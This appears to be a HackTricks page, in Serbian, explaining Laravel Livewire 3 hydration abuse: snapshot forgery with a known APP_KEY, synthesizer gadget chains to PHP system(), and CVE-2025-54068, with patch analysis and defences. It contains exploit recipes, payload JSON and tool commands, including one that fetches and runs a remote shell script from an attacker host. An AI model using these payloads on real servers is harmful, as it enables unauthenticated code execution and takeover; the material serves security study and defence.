Laravel Livewire Hydration & Synthesizer Abuse

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Rekapitulacija Livewire state machine-a

Livewire 3 komponente razmenjuju svoje stanje kroz snapshots koji sadrže data, memo i checksum. Svaki POST na /livewire/update server-side rehidrira JSON snapshot i izvršava queued calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Svako ko poseduje APP_KEY (koristi se za izvođenje $hashKey) može zato da lažira proizvoljne snapshotove ponovnim računanjem HMAC-a.

Kompleksna svojstva se enkoduju kao synthetic tuples koje detektuje Livewire\Drawer\BaseUtils::isSyntheticTuple(); svaki tuple je [value, {"s":"<key>", ...meta}]. Core za hydration jednostavno delegira svaki tuple synth-u izabranom u HandleComponents::$propertySynthesizers i rekurzivno obrađuje decu:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Ovaj rekurzivni dizajn čini Livewire generic engine-om za instanciranje objekata čim napadač kontroliše ili tuple metadata ili bilo koji ugnježdeni tuple obrađen tokom rekurzije.

Synthesizers koji daju gadget primitive

SynthesizerPonašanje koje kontroliše napadač
CollectionSynth (clctn)Instancira new $meta['class']($value) nakon rehidratacije svakog child-a. Bilo koja klasa sa array konstruktorom može biti kreirana, a svaka stavka može sama biti sintetički tuple.
FormObjectSynth (form)Poziva new $meta['class']($component, $path), zatim dodeljuje svaku javnu property iz child-ova koje kontroliše napadač putem $hydrateChild. Konstruktori koji prihvataju dva slabo tipizovana parametra (ili podrazumevane argumente) dovoljni su da se dođe do proizvoljnih javnih property-ja.
ModelSynth (mdl)Kada key nedostaje iz meta, izvršava return new $class; i omogućava instanciranje bilo koje klase bez argumenata pod kontrolom napadača.

Pošto synths pozivaju $hydrateChild nad svakim ugnježdenim elementom, proizvoljni gadget graph-ovi mogu da se izgrade ređanjem tuple-ova rekurzivno.

Forging snapshots kada je APP_KEY poznat

  1. Presretni legitimni /livewire/update request i dekodiraj components[0].snapshot.
  2. Ubaci ugnježdene tuple-ove koji upućuju na gadget klase i preračunaj checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Ponovo enkodiraj snapshot, ostavi _token/memo neizmenjene, i replay-uj request.

Minimalni proof of execution koristi Guzzle-ov FnStream i Flysystem-ov ShardedPrefixPublicUrlGenerator. Jedan tuple instancira FnStream sa constructor podacima { "__toString": "phpinfo" }, a sledeći instancira ShardedPrefixPublicUrlGenerator sa [FnStreamInstance] kao $prefixes. Kada Flysystem kastuje svaki prefix u string, PHP poziva attacker-provided __toString callable, pozivajući bilo koju funkciju bez argumenata.

Od function calls do potpunog RCE

Koristeći Livewire-ove primitive za instanciranje, Synacktiv je adaptirao phpggc-ov lanac Laravel/RCE4 tako da hydration podiže objekat čije javno Queueable stanje pokreće deserialization:

  1. Queueable trait – bilo koji objekat koji koristi Illuminate\Bus\Queueable izlaže javni $chained i izvršava unserialize(array_shift($this->chained)) u dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) se instancira preko CollectionSynth / FormObjectSynth sa popunjenim javnim $chained.
  3. phpggc Laravel/RCE4Adapted – serialized blob sačuvan u $chained[0] gradi PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() na kraju poziva call_user_func_array($closure, $args) što omogućava system($cmd).
  4. Stealth termination – predavanjem drugog FnStream callable-a kao što je [new Laravel\Prompts\Terminal(), 'exit'], request se završava sa exit() umesto bučne exception, ostavljajući HTTP response čistim.

Automating snapshot forgery

synacktiv/laravel-crypto-killer sada isporučuje livewire mode koji spaja sve:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Alat parsira uhvaćeni snapshot, ubacuje gadget tuple-ove, ponovo izračunava checksum i ispisuje payload spreman za slanje na /livewire/update.

CVE-2025-54068 – RCE bez APP_KEY

Prema vendor advisory-ju, problem pogađa Livewire v3 (>= 3.0.0-beta.1 i <= 3.6.3) i jedinstven je za v3.

updates se spajaju u stanje komponente nakon što se validira checksum snapshot-a. Ako je property unutar snapshot-a (ili postane) synthetic tuple, Livewire ponovo koristi njegov meta podatak dok hydrata attacker-controlled update value:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Pronađi Livewire component sa public property bez tipa (npr. public $count;).
  2. Pošalji update koji postavlja tu property na []. Sledeći snapshot je sada čuva kao [[], {"s": "arr"}].

Minimalni type-juggling flow izgleda ovako:

POST /livewire/update
...
"updates": {"count": []}

Zatim sledeći snapshot čuva tuple koji zadržava arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Napravi još jedan updates payload u kome ta property sadrži duboko ugnježden niz koji ugrađuje tuple-ove kao što su [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Tokom rekurzije, hydrate() obrađuje svakog ugnježdenog child-a nezavisno, pa attacker-chosen synth keys/classes bivaju prihvaćeni čak iako spoljašnji tuple i checksum nisu promenjeni.
  3. Ponovo iskoristi iste CollectionSynth/FormObjectSynth primitive da instanciraš Queueable gadget čiji $chained[0] sadrži phpggc payload. Livewire obrađuje forged updates, poziva dispatchNextJobInChain(), i stiže do system(<cmd>) bez znanja APP_KEY.

Ključni razlozi zašto ovo radi:

  • updates nisu pokriveni snapshot checksum-om.
  • getMetaForPath() veruje bilo kojim synth metadata koje su već postojale za tu property, čak i ako je attacker prethodno naterao da postane tuple kroz weak typing.
  • Rekurzija plus weak typing omogućavaju da se svaki ugnježden niz tumači kao potpuno novi tuple, pa arbitrary synth keys i arbitrary classes na kraju stižu do hydration-a.

High-value pre-auth target: Filament login forms

Aplikacije izgrađene na Livewire-u često izlažu još lakšu pre-auth površinu nego toy public $count; property. Na primer, Filament login stranice često hydrate-uju slabo tipiziran $form object koji je već serializovan kao form tuple u snapshot-u. To potpuno uklanja korak “scalar -> array -> arr tuple”:

  • Snapshot već sadrži nešto poput {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Attacker može direktno da pošalje updates.form sa ugnježdenim malicious tuple-ovima, jer će rekurzija na kraju reinterpretirati decu kao što su [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • Zato su pre-auth Livewire entrypoints koji izlažu FormObjectSynth objects posebno privlačni: oni već obezbeđuju i instanciranje i dodelu public-property vrednosti.

Patch analysis: preserve raw metadata during update recursion

Fix uvodi namenski hydratePropertyUpdate() path tako da nested update vrednosti više ne pozivaju generički hydrate($child, ...) nad attacker-controlled children:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Bezbednosni uticaj patch-a:

  • Ugnježdena ažuriranja se ponovo validiraju prema originalnoj raw snapshot putanji, umesto da se veruje svežim tuple metapodacima koje napadač dostavlja.
  • Rekurzivna hydration više ne dozvoljava deci da redefinišu s ili class usred izvršavanja.
  • Ovo blokira i proizvoljno prebacivanje synthesizer-a i proizvoljan izbor klase unutar ugnježdenih update nizova.

Livepyre – eksploatacija od početka do kraja

Livepyre automatizuje i APP_KEY-less CVE i putanju sa potpisanim snapshot-om:

  • Prepoznaje deployed Livewire verziju parsiranjem <script src="/livewire/livewire.js?id=HASH"> (ili ?v=HASH) i mapiranjem hash-a na ranjiva izdanja.
  • Prikuplja bazne snapshot-ove ponovnim izvršavanjem benignih akcija i izdvajanje components[].snapshot.
  • Generiše ili updates-only payload (CVE-2025-54068) ili forged snapshot (poznat APP_KEY) koji ugrađuje phpggc chain.
  • Ako u snapshot-u nije pronađen parameter tipa object, Livepyre prelazi na brute-forcing kandidata params kako bi došao do svojstva koje se može coerciovati.

Tipična upotreba:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check pokreće ne-destruktivni probe, -F preskače version gating, -H i -P dodaju custom headers ili proxies, a --function/--param prilagođavaju php function koju poziva gadget chain.

Defensive considerations

  • Nadogradite na ispravljen Livewire builds (>= 3.6.4 prema vendor bulletin) i primenite vendor patch za CVE-2025-54068.
  • Izbegavajte slabo tipizirane javne properties u Livewire components; eksplicitni scalar types sprečavaju da se property values prisile u arrays/tuples.
  • Registrujte samo synthesizers koji su vam zaista potrebni i tretirajte user-controlled metadata ($meta['class']) kao untrusted.
  • Odbijajte updates koji menjaju JSON type neke property (npr. scalar -> array) osim ako je to eksplicitno dozvoljeno, i ponovo izvedite synth metadata umesto da ponovo koristite stale tuples.
  • Odmah rotirajte APP_KEY nakon svakog disclosure jer omogućava offline snapshot forging bez obzira na to koliko je code-base ispravljen.

References

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks